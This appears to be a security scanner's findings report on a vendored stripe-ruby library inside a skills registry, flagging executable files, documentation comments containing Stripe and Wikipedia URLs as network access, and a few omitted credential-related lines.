    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 133
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 148
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 164
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 166
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 177
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 193
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 195
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 206
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 221
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 304
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 329
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 435
    # The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person_token.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_token.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/event.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which have small, unversioned payloads th

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/event_destination.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/event-destinations/eventbridge).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/event_notification.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/deleted_object.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/webhook_endpoint.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be
  • Network accessline 7
    # accounts.   #   # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints.
  • Network accessline 8
    #   # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints.   #
  • Network accessline 9
    # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints.
  • Network accessline 11
    # Related guide: [Setting up webhooks](https://docs.stripe.com/webhooks/configure)
  • Network accessline 37
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 41
    # The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation.
  • Network accessline 50
    # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc
  • Network accessline 60
    # You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.
  • Network accessline 70
    # You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/search_result_object.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_capability_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_external_account_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 52
    # details are not editable by design.     #     # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/a
  • Network accessline 53
    #     # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controll
  • Network accessline 54
    # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controller-req

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_link_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_login_link_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Creates a login link for a connected account to access the Express Dashboard.     #     # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected t
  • Network accessline 8
    # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected to your platform.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_person_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.
  • Network accessline 17
    # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings).
  • Network accessline 18
    #     # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when     # creating the account. Connect Onboarding won't ask fo
  • Network accessline 19
    # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when
  • Network accessline 26
    # With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage.
  • Network accessline 28
    # Test-mode accounts can be deleted at any time.     #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe
  • Network accessline 29
    #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc
  • Network accessline 30
    # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht
  • Network accessline 32
    # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.
  • Network accessline 43
    # Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty.
  • Network accessline 48
    # With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious.
  • Network accessline 77
    # Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are
  • Network accessline 78
    # left unchanged.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 79
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is application, which includes Custom accounts, you can update any informatio
  • Network accessline 80
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 81
    # is application, which includes Custom accounts, you can update any information on the account.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir
  • Network accessline 82
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is stripe, which includes Standard and Express accounts, you can update all i
  • Network accessline 83
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 84
    # is stripe, which includes Standard and Express accounts, you can update all information until you create     # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec
  • Network accessline 85
    # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding,
  • Network accessline 86
    # after which some properties can no longer be updated.     #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 87
    #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our     # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts
  • Network accessline 88
    # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 89
    # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_session_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/apple_pay_domain_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/application_fee_refund_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/application_fee_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/apps/secret_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/apps_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/balance_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Retrieves the current account balance, based on the authentication that was used to make the request.     #  For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for
  • Network accessline 7
    #  For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for-negative-balances).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/balance_settings_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Retrieves balance settings for a given connected account.     #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
  • Network accessline 7
    #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
  • Network accessline 18
    # Updates balance settings for a given connected account.     #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
  • Network accessline 19
    #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/balance_transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/alert_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_summary_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/credit_grant_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_event_adjustment_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_event_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_event_summary_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_portal/configuration_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_portal/session_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_portal_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/charge_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Capture the payment of an existing, uncaptured charge that was created with the capture option set to false.     #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c
  • Network accessline 7
    #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.     #
  • Network accessline 8
    # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.
  • Network accessline 10
    # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).
  • Network accessline 21
    # This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents)
  • Network accessline 44
    # Search for charges you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/checkout/session_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/checkout/session_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 60
    # Updates a Checkout Session object.       #       # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
  • Network accessline 62
    # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/checkout_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate/order_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate/product_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate/supplier_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/confirmation_token_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/country_spec_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/coupon_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly.
  • Network accessline 13
    # You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/credit_note_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/credit_note_preview_lines_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/credit_note_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 81
    # Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_balance_transaction_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance).
  • Network accessline 17
    # Returns a list of transactions that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance).
  • Network accessline 28
    # Retrieves a specific customer balance transaction that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_transaction_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).
  • Network accessline 17
    # Retrieves a specific cash balance transaction, which updated the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_funding_instructions_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_payment_method_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_payment_source_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # If the card's owner has no default card, then the new card will become the default.     # However, if the owner already has a default, then it will not change.     # To change the default, you should [update the customer](https://docs.str
  • Network accessline 10
    # To change the default, you should [update the customer](https://docs.stripe.com/docs/api#update_customer) to have a new default_source.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    # Search for customers you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_session_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_tax_id_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/dispute_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 35
    # When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d
  • Network accessline 37
    # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/entitlements/active_entitlement_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/entitlements/feature_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/entitlements_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/ephemeral_key_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/event_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/exchange_rate_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 19
    # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/file_link_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/file_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    # Retrieves the details of an existing file object. After you supply a unique file ID, Stripe returns the corresponding file object. Learn how to [access file contents](https://docs.stripe.com/docs/file-upload#download-file-contents).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/account_owner_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/account_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/session_service.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 7
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/forwarding/request_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/forwarding_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/identity/verification_report_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/identity/verification_session_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 9
    # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 24
    # If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode.       #       # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit
  • Network accessline 26
    # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents)
  • Network accessline 51
    #       # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 52
    # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action       # state will automat
  • Network accessline 53
    # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 64
    # used for any purpose.       #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 66
    # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Access to secretsline 80
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/identity_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_payment_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_rendering_template_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 31
    # credited to the invoice immediately.     #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 33
    # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 44
    # This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice
  • Network accessline 55
    # Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi
  • Network accessline 57
    # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions)
  • Network accessline 68
    # Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided](
  • Network accessline 106
    # Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att
  • Network accessline 139
    # Search for invoices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
  • Network accessline 153
    # Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal
  • Network accessline 166
    # Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized),
  • Network accessline 168
    #     # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i
  • Network accessline 169
    # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice
  • Network accessline 170
    # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass
  • Network accessline 193
    # Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c
  • Network accessline 195
    # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/authorization_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 8
    # This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 19
    # [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 20
    # This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/card_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/cardholder_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/dispute_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt
  • Network accessline 40
    # Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d

